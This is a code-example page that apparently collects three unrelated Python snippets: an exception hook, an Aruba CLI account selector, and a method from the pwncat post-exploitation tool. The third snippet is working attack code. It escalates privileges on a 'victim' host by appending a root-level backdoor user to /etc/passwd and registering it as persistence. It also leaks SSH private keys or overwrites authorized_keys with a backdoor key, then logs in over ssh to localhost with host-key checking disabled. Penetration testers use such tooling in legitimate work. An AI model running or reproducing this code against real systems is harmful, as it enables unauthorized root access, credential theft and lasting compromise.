Esempio n. 1
0
    def excepthook(
        type_,
        value,
        traceback,
    ):
        # cache error message
        if not len(value.args):
            value.args = ["No message"]
        cache_error(f"{type_.__name__}: {value.args[0]}", value.__doc__)

        # show error traceback
        emanager = ErrorManager(
            type_,
            value,
            traceback,
            keep_frames,
            all_locals,
            relevant_only,
            hide_locals,
        )

        if isinstance(value, AttributeError):
            emanager.render_attribute_error()
        else:
            emanager.render_error()

        # Ask user if they want to google the error
        if enable_prompt:
            if Confirm(
            ).ask("\n[white]Do you want me to google solutions to this error?  "
                  ):
                get_answers(hide_panel=True)
Esempio n. 2
0
    def get_account_from_args(self) -> str:
        """Determine account to use based on arguments & last_account file.

        Method does no harm / triggers no errors.  Any errors are handled
        in account_name_callback after cli is loaded.  We need to determine the
        account during init to load the cache for auto completion.

        Returns:
            str: The account to use based on --account -d flags and last_account file.
        """
        if "--account" in sys.argv:
            account = sys.argv[sys.argv.index("--account") + 1]
        elif "--account" in str(sys.argv):  # vscode debug workaround
            args = [a.split(" ") for a in sys.argv if "--account " in a][0]
            account = args[args.index("--account") + 1]
        elif "-d" in sys.argv or " -d " in str(sys.argv) or str(sys.argv).endswith("-d"):
            return "central_info"
        else:
            account = "central_info"

        if account in ["central_info", "default"]:
            if self.sticky_account_file.is_file():
                last_account, last_cmd_ts = self.sticky_account_file.read_text().split("\n")
                last_cmd_ts = float(last_cmd_ts)

                # TODO can't print here with about breaking auto-complete - restore messaging to account_name_callback
                # last account sticky file handling -- messaging is in cli callback --
                console = Console()
                if self.forget:
                    if time.time() > last_cmd_ts + (self.forget * 60):
                        self.sticky_account_file.unlink(missing_ok=True)
                        _m = f":warning: Forget option set for [cyan]{last_account}[/], and expiration has passed.  [bright_green]reverting to default account[/]"
                        _m = f"{_m}\nUse [cyan]--account[/] option or set environment variable ARUBACLI_ACCOUNT to use alternate account"
                        # console.print(_m)
                        if not Confirm(f"Proceed using default account", console=console):
                            abort()
                    else:
                        account = last_account
                        # console.print(f":warning: [magenta]Using Account[/] [cyan]{account}[/]\n")
                else:
                    account = last_account
                    # console.print(f":warning: [magenta]Using Account[/] [cyan]{account}[/]\n")
        else:
            if account in self.data:
                self.sticky_account_file.parent.mkdir(exist_ok=True)
                self.sticky_account_file.write_text(f"{account}\n{round(time.time(), 2)}")
        return account
Esempio n. 3
0
    def exec(self, user: str, shell: str, progress):
        """ Attempt to use all the techniques enumerated to execute a
        shell as the specified user.

        :param user: The user to execute a shell as
        :type user: str
        :param shell: The shell to execute
        :type shell: str
        :param progress: A rich Progress bar to update during escalation.
        """

        original_user = pwncat.victim.current_user
        original_id = pwncat.victim.id
        target_user = pwncat.victim.users[user]
        task = progress.add_task("", module="escalating", status="...")

        # Ensure all output is flushed
        pwncat.victim.flush_output()

        # Ensure we are in a safe directory
        pwncat.victim.chdir("/tmp")

        if user in self.techniques:
            for technique in self.techniques[user]:
                if Capability.SHELL in technique.caps:
                    try:
                        progress.update(task, status=str(technique))
                        exit_cmd = technique.exec(shell)

                        # These are evil, but required due to latency... :/
                        time.sleep(0.1)

                        # Ensure we are stable
                        pwncat.victim.reset(hard=False)
                        pwncat.victim.update_user()

                        # Check that the escalation succeeded
                        new_id = pwncat.victim.id
                        if new_id["euid"]["id"] != target_user.id:
                            pwncat.victim.client.send(exit_cmd.encode("utf-8"))
                            pwncat.victim.flush_output(some=False)
                            continue

                        progress.update(task, visible=False, done=True)

                        return EscalateChain(original_user.name,
                                             [(technique, exit_cmd)])
                    except EscalateError:
                        continue

        # Read /etc/passwd
        progress.update(task, status="reading /etc/passwd")
        with pwncat.victim.open("/etc/passwd", "r") as filp:
            passwd = filp.readlines()

        username = pwncat.config["backdoor_user"]
        password = pwncat.config["backdoor_pass"]
        hashed = crypt.crypt(password)

        passwd.append(
            f"{username}:{hashed}:0:0::/root:{pwncat.victim.shell}\n")
        passwd_content = "".join(passwd)

        try:
            progress.update(task, status="attempting to overwrite /etc/passwd")
            # Add a new user
            technique = self.write(
                "root",
                "/etc/passwd",
                passwd_content.encode("utf-8"),
                progress,
                no_exec=True,
            )

            # Register the passwd persistence
            progress.update(task, status="registering persistence")
            pwncat.modules.find("persist.passwd").register(
                user="******",
                backdoor_user=username,
                backdoor_pass=password,
                shell=pwncat.victim.shell,
            )

            # Reload user database
            pwncat.victim.reload_users()

            try:
                # su to root
                progress.update(task, status="escalating to root")
                pwncat.victim.su(username, password)
                exit_cmd = "exit\n"

                if user != "root":
                    # We're now root, passwords don't matter
                    progress.update(task, status=f"moving laterally to {user}")
                    pwncat.victim.su(user, None)
                    exit_cmd += "exit\n"

                # Notify user that persistence was installed
                progress.log("installed persist.passwd module for escalation")

                return EscalateChain(original_user.name,
                                     [(technique, exit_cmd)])
            except PermissionError:
                pass
        except EscalateError:
            pass

        progress.update(task, status="checking for ssh server")

        # Enumerate system services loooking for an sshd service
        sshd = None
        for fact in pwncat.modules.run("enumerate.gather",
                                       progress=progress,
                                       types=["system.service"]):
            if "sshd" in fact.data.name and fact.data.state == "running":
                sshd = fact.data

        # Look for the `ssh` binary
        ssh_path = pwncat.victim.which("ssh")

        # If ssh is running, and we have a local `ssh`, then we can
        # attempt to leak private keys via readers/writers and
        # escalate with an ssh user@localhost
        if sshd is not None and sshd.state == "running" and ssh_path:

            # Read the user's authorized keys
            progress.update(task, status="attempting to read authorized keys")
            authkeys, authkeys_path = self._read_auth_keys(user, progress)

            # Attempt to read private key
            progress.update(task, status="attempting to read private keys")
            privkey, used_tech = self._leak_private_key(
                user, progress, authkeys)

            # We couldn't read the private key
            if privkey is None:

                try:
                    # Read our backdoor private key
                    with open(pwncat.config["privkey"], "r") as filp:
                        privkey = filp.read()
                    with open(pwncat.config["privkey"] + ".pub", "r") as filp:
                        pubkey = filp.read()

                    if authkeys is None:
                        # This is important. Ask the user if they want to
                        # clobber the authorized keys
                        progress.stop()
                        if Confirm(
                                "could not read authorized keys; attempt to clobber user keys?"
                        ):
                            authkeys = []
                        progress.start()

                    # Attempt to write to the authorized keys file
                    if authkeys is None:
                        progress.update(
                            task, status="attemping to write authorized keys")
                        used_tech = self._write_authorized_key(
                            user, pubkey, authkeys, authkeys_path, progress)
                        if used_tech is None:
                            privkey = None

                except (FileNotFoundError, PermissionError):
                    privkey = None

            if privkey is not None:

                # Write the private key to a temporary file for local usage
                progress.update(task, status="uploading private key")
                with pwncat.victim.tempfile("w", length=len(privkey)) as filp:
                    filp.write(privkey)
                    privkey_path = filp.name

                # Ensure we track this new file
                tamper = pwncat.victim.tamper.created_file(privkey_path)
                # SSH needs strict permissions
                progress.update(task, status="fixing private key permissions")
                pwncat.victim.run(f"chmod 600 {privkey_path}")

                # First, run a test to make sure we authenticate
                progress.update(task, status="testing local escalation")
                command = (
                    f"{ssh_path} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no "
                    f"{user}@127.0.0.1")
                output = pwncat.victim.run(f"{command} echo good")

                # We failed. Remove the private key and raise an
                # exception
                if b"good" not in output:
                    tamper.revert()
                    pwncat.victim.tamper.remove(tamper)
                    raise EscalateError("ssh private key failed")

                # The test worked! Run the real escalate command
                progress.update(task, status="escalating via ssh!")
                pwncat.victim.process(command)

                pwncat.victim.reset(hard=False)
                pwncat.victim.update_user()

                progress.update(task, visible=False, done=True)

                return EscalateChain(original_user.name, [(used_tech, "exit")])

        progress.update(task, visible=False, done=True)

        raise EscalateError(f"exec as {user} not possible")